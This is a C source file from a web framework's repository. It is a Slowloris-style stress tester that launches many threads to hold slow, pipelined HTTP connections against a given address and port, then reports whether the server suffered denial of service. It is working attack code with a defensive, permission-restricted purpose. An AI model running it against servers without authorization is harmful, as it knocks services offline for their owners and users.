mirror of
https://github.com/zigzap/zap.git
synced 2025-10-21 15:44:10 +00:00
547 lines
16 KiB
C
547 lines
16 KiB
C
/*
|
|
Copyright 2019, Boaz Segev
|
|
License: ISC
|
|
|
|
License limitations: May only be used for security testing and with permission
|
|
of target device.
|
|
*/
|
|
|
|
#ifndef _GNU_SOURCE
|
|
#define _GNU_SOURCE
|
|
#endif
|
|
|
|
/* I can't seem to remember which onse I actually use... */
|
|
#include <ctype.h>
|
|
#include <errno.h>
|
|
#include <limits.h>
|
|
#include <pthread.h>
|
|
#include <signal.h>
|
|
#include <stdarg.h>
|
|
#include <stdint.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <strings.h>
|
|
#include <sys/mman.h>
|
|
#include <time.h>
|
|
#include <unistd.h>
|
|
|
|
#include <netdb.h>
|
|
#include <netinet/in.h>
|
|
#include <netinet/tcp.h>
|
|
|
|
#include <poll.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/resource.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/types.h>
|
|
#include <sys/un.h>
|
|
#include <sys/wait.h>
|
|
|
|
#include <arpa/inet.h>
|
|
|
|
#include <fcntl.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/time.h>
|
|
#include <unistd.h>
|
|
|
|
#define ASSERT_COND(cond, ...) \
|
|
do { \
|
|
if (!(cond)) { \
|
|
fprintf(stderr, __VA_ARGS__); \
|
|
perror("\n\terrno"); \
|
|
exit(-1); \
|
|
} \
|
|
} while (0)
|
|
|
|
/* *****************************************************************************
|
|
Global State and Settings
|
|
***************************************************************************** */
|
|
|
|
#define RESULT_FAILED 2
|
|
#define RESULT_UNKNOWN 1
|
|
#define RESULT_PASSED 0
|
|
|
|
#define TEST_TIME 20 /* test time in seconds 0 == inifinity */
|
|
#define USE_PIPELINING 1
|
|
#define PRINT_PAGE_OF_DATA 1
|
|
#define MTU_LIMIT (524)
|
|
|
|
static size_t ATTACKERS = 24;
|
|
static volatile uint8_t flag = 1;
|
|
static const char *address;
|
|
static const char *port;
|
|
|
|
static size_t total_requests;
|
|
static size_t total_reads;
|
|
static size_t total_eof;
|
|
static size_t total_disconnections;
|
|
static size_t total_attempts;
|
|
static size_t total_failures;
|
|
static size_t total_success;
|
|
static size_t max_wait;
|
|
|
|
static const char HTTP_REQUEST_HEAD[] =
|
|
"GET / HTTP/1.1\r\nConnection: keep-alive\r\nHost: ";
|
|
static char MSG_OUTPUT[1024]; /* pipelined requests in MTU */
|
|
static size_t MSG_LEN;
|
|
static size_t REQ_PER_MSG;
|
|
|
|
/* copies an HTTP request to the internal buffer */
|
|
static void prep_msg(void) {
|
|
ASSERT_COND(strlen(address) < 512, "host name too long");
|
|
if (USE_PIPELINING) {
|
|
MSG_LEN = strlen(HTTP_REQUEST_HEAD) + strlen(address) + 4;
|
|
REQ_PER_MSG = 1;
|
|
memcpy(MSG_OUTPUT, HTTP_REQUEST_HEAD, strlen(HTTP_REQUEST_HEAD));
|
|
memcpy(MSG_OUTPUT + strlen(HTTP_REQUEST_HEAD), address, strlen(address));
|
|
MSG_OUTPUT[MSG_LEN - 4] = '\r';
|
|
MSG_OUTPUT[MSG_LEN - 3] = '\n';
|
|
MSG_OUTPUT[MSG_LEN - 2] = '\r';
|
|
MSG_OUTPUT[MSG_LEN - 1] = '\n';
|
|
} else {
|
|
memcpy(MSG_OUTPUT, HTTP_REQUEST_HEAD, strlen(HTTP_REQUEST_HEAD));
|
|
memcpy(MSG_OUTPUT + strlen(HTTP_REQUEST_HEAD), address, strlen(address));
|
|
MSG_LEN = strlen(HTTP_REQUEST_HEAD) + strlen(address) + 4;
|
|
REQ_PER_MSG = MTU_LIMIT / MSG_LEN;
|
|
MSG_OUTPUT[MSG_LEN - 4] = '\r';
|
|
MSG_OUTPUT[MSG_LEN - 3] = '\n';
|
|
MSG_OUTPUT[MSG_LEN - 2] = '\r';
|
|
MSG_OUTPUT[MSG_LEN - 1] = '\n';
|
|
if (!REQ_PER_MSG)
|
|
REQ_PER_MSG = 1;
|
|
for (size_t i = 1; i < REQ_PER_MSG; ++i) {
|
|
memcpy(MSG_OUTPUT + (i * MSG_LEN), MSG_OUTPUT, MSG_LEN);
|
|
}
|
|
MSG_LEN *= REQ_PER_MSG;
|
|
}
|
|
}
|
|
|
|
/* handles the SIGUSR1, SIGINT and SIGTERM signals. */
|
|
static void sig_int_handler(int sig) {
|
|
signal(SIGINT, SIG_DFL);
|
|
switch (sig) {
|
|
case SIGINT: /* fallthrough */
|
|
case SIGTERM: /* fallthrough */
|
|
flag = 0;
|
|
break;
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
|
|
/* *****************************************************************************
|
|
Tester functions
|
|
***************************************************************************** */
|
|
|
|
/* error reporting for server test */
|
|
typedef enum {
|
|
SERVER_OK,
|
|
OPENFILE_LIMIT,
|
|
CONNECTION_FAILED,
|
|
REQUEST_FAILED,
|
|
RESPONSE_TIMEOUT,
|
|
} test_err_en;
|
|
|
|
/** Opens a connection and sends a single HTTP request. */
|
|
static test_err_en test_server(size_t timeout);
|
|
|
|
/* a single attack connection */
|
|
static void attack_server(void);
|
|
|
|
/* a single attacker thread */
|
|
static void *attack_server_task(void *ignr_);
|
|
|
|
/* a single tester thread */
|
|
static void *test_server_task(void *ignr_);
|
|
|
|
/* *****************************************************************************
|
|
Main attack function
|
|
***************************************************************************** */
|
|
|
|
int main(int argc, char const *argv[]) {
|
|
int result = 0;
|
|
ASSERT_COND(argc == 3 || argc == 4,
|
|
"\nTo test HTTP/1.1 server against Slowloris, "
|
|
"use: %s addr port [attackers]\ni.e.:\n\t\t%s example.com 80"
|
|
"\n\t\t%s localhost 3000 24",
|
|
argv[0], argv[0], argv[0]);
|
|
/* initialize stuff */
|
|
signal(SIGPIPE, SIG_IGN);
|
|
signal(SIGINT, sig_int_handler);
|
|
signal(SIGTERM, sig_int_handler);
|
|
|
|
if (argc == 4 && atol(argv[3]) > 0)
|
|
ATTACKERS = atol(argv[3]);
|
|
|
|
address = argv[1];
|
|
port = argv[2];
|
|
prep_msg();
|
|
|
|
switch (test_server(5)) {
|
|
case SERVER_OK:
|
|
fprintf(stderr, "* PASSED sanity test.\n");
|
|
break;
|
|
case OPENFILE_LIMIT:
|
|
ASSERT_COND(0, "FAILED to connect to %s:%s - no open files available?",
|
|
address, port);
|
|
break;
|
|
case CONNECTION_FAILED:
|
|
ASSERT_COND(0, "FAILED to connect to %s:%s", address, port);
|
|
break;
|
|
case REQUEST_FAILED:
|
|
ASSERT_COND(0, "FAILED to send request to %s:%s", address, port);
|
|
break;
|
|
case RESPONSE_TIMEOUT:
|
|
ASSERT_COND(0, "FAILED, response timed out for %s:%s", address, port);
|
|
break;
|
|
}
|
|
|
|
fprintf(stderr, "* Starting %zu attack loops, with %zu bytes per request.\n",
|
|
ATTACKERS, MSG_LEN / REQ_PER_MSG);
|
|
size_t thread_count = 0;
|
|
pthread_t *threads = calloc(sizeof(*threads), ATTACKERS + 1);
|
|
ASSERT_COND(threads, "couldn't allocate memoryt for thread data store");
|
|
|
|
time_t start = 0;
|
|
time(&start);
|
|
for (size_t i = 0; i < ATTACKERS; ++i) {
|
|
if (pthread_create(threads + thread_count, NULL, attack_server_task,
|
|
NULL) == 0)
|
|
++thread_count;
|
|
}
|
|
if (pthread_create(threads + thread_count, NULL, test_server_task, NULL) == 0)
|
|
++thread_count;
|
|
if (!thread_count) {
|
|
attack_server();
|
|
test_server_task(NULL);
|
|
} else if (TEST_TIME) {
|
|
for (int i = 0; i < TEST_TIME && flag; ++i) {
|
|
const struct timespec tm = {.tv_sec = 1};
|
|
nanosleep(&tm, NULL);
|
|
}
|
|
flag = 0;
|
|
fprintf(stderr, "* Stopping test...\n");
|
|
}
|
|
while (thread_count) {
|
|
--thread_count;
|
|
pthread_join(threads[thread_count], NULL);
|
|
}
|
|
time_t end = 0;
|
|
time(&end);
|
|
|
|
fprintf(stderr,
|
|
"Stats:\n"
|
|
"\tTest length: %zu seconds\n"
|
|
"\tConcurrent attackers: %zu\n"
|
|
"\tRequests sent: %zu\n"
|
|
"\tBytes sent: %zu\n"
|
|
"\tBytes received: %zu\n"
|
|
"\tSucceful requests: %zu / %zu\n"
|
|
"\tDisconnections: %zu\n"
|
|
"\tEOF on attempted read: %zu\n"
|
|
"\tSlowest test cycle: %zu\n",
|
|
end - start, ATTACKERS, total_requests,
|
|
(total_requests * (MSG_LEN / REQ_PER_MSG)), total_reads,
|
|
total_success, total_attempts, total_disconnections, total_eof,
|
|
max_wait);
|
|
|
|
if (max_wait > 5 || total_attempts != total_success) {
|
|
result = RESULT_FAILED;
|
|
fprintf(stderr, "FAILED! the server experienced DoS at least once or "
|
|
"took more than 10 seconds to respond.\n");
|
|
} else if ((max_wait > 1 ||
|
|
((total_disconnections / 2) / (end - start) == 0)) &&
|
|
!total_eof) {
|
|
result = RESULT_UNKNOWN;
|
|
fprintf(stderr, "Unknown. Server may have been partially effected.\n");
|
|
} else {
|
|
result = RESULT_PASSED;
|
|
fprintf(stderr, "PASSED.\n");
|
|
}
|
|
return result;
|
|
}
|
|
|
|
/* *****************************************************************************
|
|
Aomic operation helpers
|
|
***************************************************************************** */
|
|
|
|
/* C11 Atomics are defined? */
|
|
#if defined(__ATOMIC_RELAXED)
|
|
/** An atomic addition operation */
|
|
#define atomic_add(p_obj, value) \
|
|
__atomic_add_fetch((p_obj), (value), __ATOMIC_SEQ_CST)
|
|
/** An atomic subtraction operation */
|
|
/* Select the correct compiler builtin method. */
|
|
#elif __has_builtin(__sync_add_and_fetch)
|
|
#define atomic_add(p_obj, value) __sync_add_and_fetch((p_obj), (value))
|
|
#elif __GNUC__ > 3
|
|
/** An atomic addition operation */
|
|
#define atomic_add(p_obj, value) __sync_add_and_fetch((p_obj), (value))
|
|
#else
|
|
#error Required builtin "__sync_add_and_fetch" not found.
|
|
#endif
|
|
|
|
/* *****************************************************************************
|
|
IO Helpers
|
|
***************************************************************************** */
|
|
|
|
static int set_non_block(int fd) {
|
|
/* If they have O_NONBLOCK, use the Posix way to do it */
|
|
#if defined(O_NONBLOCK)
|
|
/* Fixme: O_NONBLOCK is defined but broken on SunOS 4.1.x and AIX 3.2.5. */
|
|
int flags;
|
|
if (-1 == (flags = fcntl(fd, F_GETFL, 0)))
|
|
flags = 0;
|
|
// printf("flags initial value was %d\n", flags);
|
|
return fcntl(fd, F_SETFL, flags | O_NONBLOCK | O_CLOEXEC);
|
|
#elif defined(FIONBIO)
|
|
/* Otherwise, use the old way of doing it */
|
|
static int flags = 1;
|
|
return ioctl(fd, FIONBIO, &flags);
|
|
#else
|
|
#error No functions / argumnet macros for non-blocking sockets.
|
|
#endif
|
|
}
|
|
|
|
/** Opens a TCP/IP connection using a blocking IO socket */
|
|
static int __attribute__((unused)) connect2tcp(const char *a, const char *p) {
|
|
/* TCP/IP socket */
|
|
struct addrinfo hints = {0};
|
|
struct addrinfo *addrinfo; // will point to the results
|
|
memset(&hints, 0, sizeof hints); // make sure the struct is empty
|
|
hints.ai_family = AF_UNSPEC; // don't care IPv4 or IPv6
|
|
hints.ai_socktype = SOCK_STREAM; // TCP stream sockets
|
|
hints.ai_flags = AI_PASSIVE; // fill in my IP for me
|
|
if (getaddrinfo(a, p, &hints, &addrinfo)) {
|
|
// perror("addr err");
|
|
return -1;
|
|
}
|
|
// get the file descriptor
|
|
int fd =
|
|
socket(addrinfo->ai_family, addrinfo->ai_socktype, addrinfo->ai_protocol);
|
|
if (fd == -1 || set_non_block(fd) < 0) {
|
|
freeaddrinfo(addrinfo);
|
|
return -1;
|
|
}
|
|
|
|
int one = 1;
|
|
setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
|
|
errno = 0;
|
|
for (struct addrinfo *i = addrinfo; i; i = i->ai_next) {
|
|
if (connect(fd, i->ai_addr, i->ai_addrlen) == 0 || errno == EINPROGRESS)
|
|
goto socket_okay;
|
|
perror("Connect failed...");
|
|
}
|
|
freeaddrinfo(addrinfo);
|
|
close(fd);
|
|
return -1;
|
|
socket_okay:
|
|
freeaddrinfo(addrinfo);
|
|
return fd;
|
|
}
|
|
|
|
/* *****************************************************************************
|
|
Polling Helpers
|
|
***************************************************************************** */
|
|
|
|
/** Waits for socket to become available for either reading or writing */
|
|
static inline int wait__internal(int fd, uint16_t events) {
|
|
errno = 0;
|
|
int i = 0;
|
|
if (fd == -1)
|
|
goto badfd;
|
|
struct pollfd ls = {.fd = fd, .events = events};
|
|
i = poll(&ls, 1, 1000);
|
|
if (i > 0) {
|
|
if ((ls.revents & POLLHUP) || (ls.revents & POLLERR) ||
|
|
(ls.revents & POLLNVAL))
|
|
goto badfd;
|
|
return 0;
|
|
}
|
|
switch (errno) {
|
|
case EFAULT: /* overflow */
|
|
case EINVAL: /* overflow */
|
|
case ENOMEM: /* overflow */
|
|
return -1;
|
|
}
|
|
errno = EWOULDBLOCK;
|
|
return -1;
|
|
badfd:
|
|
errno = EBADF;
|
|
return -1;
|
|
}
|
|
|
|
/** Waits for socket to become available for either reading or writing */
|
|
static __attribute__((unused)) int wait4fd(int fd) {
|
|
return wait__internal(fd, POLLIN | POLLOUT);
|
|
}
|
|
/** Waits for socket to become available for reading */
|
|
static __attribute__((unused)) int wait4read(int fd) {
|
|
return wait__internal(fd, POLLIN);
|
|
}
|
|
/** Waits for socket to become available for reading */
|
|
static __attribute__((unused)) int wait4write(int fd) {
|
|
return wait__internal(fd, POLLOUT);
|
|
}
|
|
|
|
/* *****************************************************************************
|
|
Test
|
|
***************************************************************************** */
|
|
|
|
static test_err_en test_server(size_t timeout) {
|
|
int fd = connect2tcp(address, port);
|
|
|
|
if (fd == -1) {
|
|
if (errno == EMFILE || errno == ENFILE || errno == ENOMEM)
|
|
return OPENFILE_LIMIT;
|
|
return CONNECTION_FAILED;
|
|
}
|
|
|
|
time_t start = 0;
|
|
time(&start);
|
|
|
|
size_t blocks = 0;
|
|
while (wait4write(fd) < 0) {
|
|
if (errno != EWOULDBLOCK || ++blocks >= timeout || !flag) {
|
|
/* timeout / error / stop */
|
|
close(fd);
|
|
if (!flag)
|
|
return SERVER_OK;
|
|
return CONNECTION_FAILED;
|
|
}
|
|
}
|
|
|
|
// fprintf(stderr, "* TEST: connected to %s:%s\n", address, port);
|
|
if (write(fd, MSG_OUTPUT, MSG_LEN / REQ_PER_MSG) !=
|
|
(ssize_t)(MSG_LEN / REQ_PER_MSG)) {
|
|
/* a new connection and the buffer is full? no... */
|
|
close(fd);
|
|
// fprintf(stderr, "* TEST: couldn't send rerquest to %s:%s\n", address,
|
|
// port);
|
|
return REQUEST_FAILED;
|
|
}
|
|
|
|
blocks = 0;
|
|
while (wait4read(fd) < 0) {
|
|
if (errno != EWOULDBLOCK || ++blocks >= timeout || !flag) {
|
|
/* timeout / error */
|
|
close(fd);
|
|
if (!flag)
|
|
return SERVER_OK;
|
|
return RESPONSE_TIMEOUT;
|
|
}
|
|
}
|
|
|
|
char buffer[4096];
|
|
if (read(fd, buffer, 1024) < 12) {
|
|
close(fd);
|
|
return RESPONSE_TIMEOUT;
|
|
}
|
|
close(fd);
|
|
// fprintf(stderr, "* TEST: received response from %s:%s\n", address, port);
|
|
time_t end = 0;
|
|
time(&end);
|
|
if (max_wait < (size_t)(end - start)) {
|
|
/* non-atomic... but who cares. */
|
|
max_wait = end - start;
|
|
}
|
|
return SERVER_OK;
|
|
}
|
|
|
|
/* *****************************************************************************
|
|
Attack
|
|
***************************************************************************** */
|
|
|
|
static void attack_server(void) {
|
|
int fd = connect2tcp(address, port);
|
|
size_t offset = 0;
|
|
uint8_t read_once = 0;
|
|
while (flag) {
|
|
if (wait4write(fd) == 0) {
|
|
ssize_t w = write(fd, MSG_OUTPUT + offset, MSG_LEN - offset);
|
|
if (w < 0) {
|
|
/* error... waiting? */
|
|
if (errno != EWOULDBLOCK && errno != EAGAIN && errno != EINTR) {
|
|
break;
|
|
}
|
|
} else {
|
|
offset += w;
|
|
if (offset >= MSG_LEN) {
|
|
offset = 0;
|
|
atomic_add(&total_requests, REQ_PER_MSG);
|
|
}
|
|
}
|
|
|
|
} else if (errno != EWOULDBLOCK && errno != EAGAIN) {
|
|
break;
|
|
}
|
|
if (wait4read(fd) == 0) {
|
|
size_t buf;
|
|
ssize_t r = read(fd, &buf, sizeof(buf));
|
|
if (r < 0)
|
|
break; /* read a few bytes at a time */
|
|
if (!r) {
|
|
atomic_add(&total_eof, 1);
|
|
} else {
|
|
atomic_add(&total_reads, r);
|
|
read_once = 1;
|
|
}
|
|
} else if (errno == EWOULDBLOCK || errno == EAGAIN) {
|
|
if (read_once) {
|
|
atomic_add(&total_eof, 1);
|
|
break;
|
|
}
|
|
} else {
|
|
if (read_once)
|
|
break;
|
|
}
|
|
}
|
|
if (flag)
|
|
atomic_add(&total_disconnections, 1);
|
|
close(fd);
|
|
return;
|
|
}
|
|
|
|
/* *****************************************************************************
|
|
Multi-Threaded Testing / Attacking
|
|
***************************************************************************** */
|
|
|
|
/* a single attacker thread */
|
|
static void *attack_server_task(void *ignr_) {
|
|
while (flag)
|
|
attack_server();
|
|
return NULL;
|
|
(void)ignr_;
|
|
}
|
|
|
|
/* a single tester thread */
|
|
static void *test_server_task(void *ignr_) {
|
|
while (flag) {
|
|
const struct timespec tm = {.tv_sec = 1};
|
|
nanosleep(&tm, NULL);
|
|
if (!flag)
|
|
break;
|
|
atomic_add(&total_attempts, 1);
|
|
switch (test_server(15)) {
|
|
case SERVER_OK:
|
|
if (flag)
|
|
fprintf(stderr, "* Server online.\n");
|
|
atomic_add(&total_success, 1);
|
|
break;
|
|
case OPENFILE_LIMIT:
|
|
fprintf(stderr, "* No available sockets.\n");
|
|
atomic_add(&total_success, 1);
|
|
break;
|
|
case CONNECTION_FAILED: /* overflow*/
|
|
case REQUEST_FAILED: /* overflow*/
|
|
case RESPONSE_TIMEOUT:
|
|
atomic_add(&total_failures, 1);
|
|
fprintf(stderr, "* Failure detected.\n");
|
|
break;
|
|
}
|
|
}
|
|
return NULL;
|
|
(void)ignr_;
|
|
}
|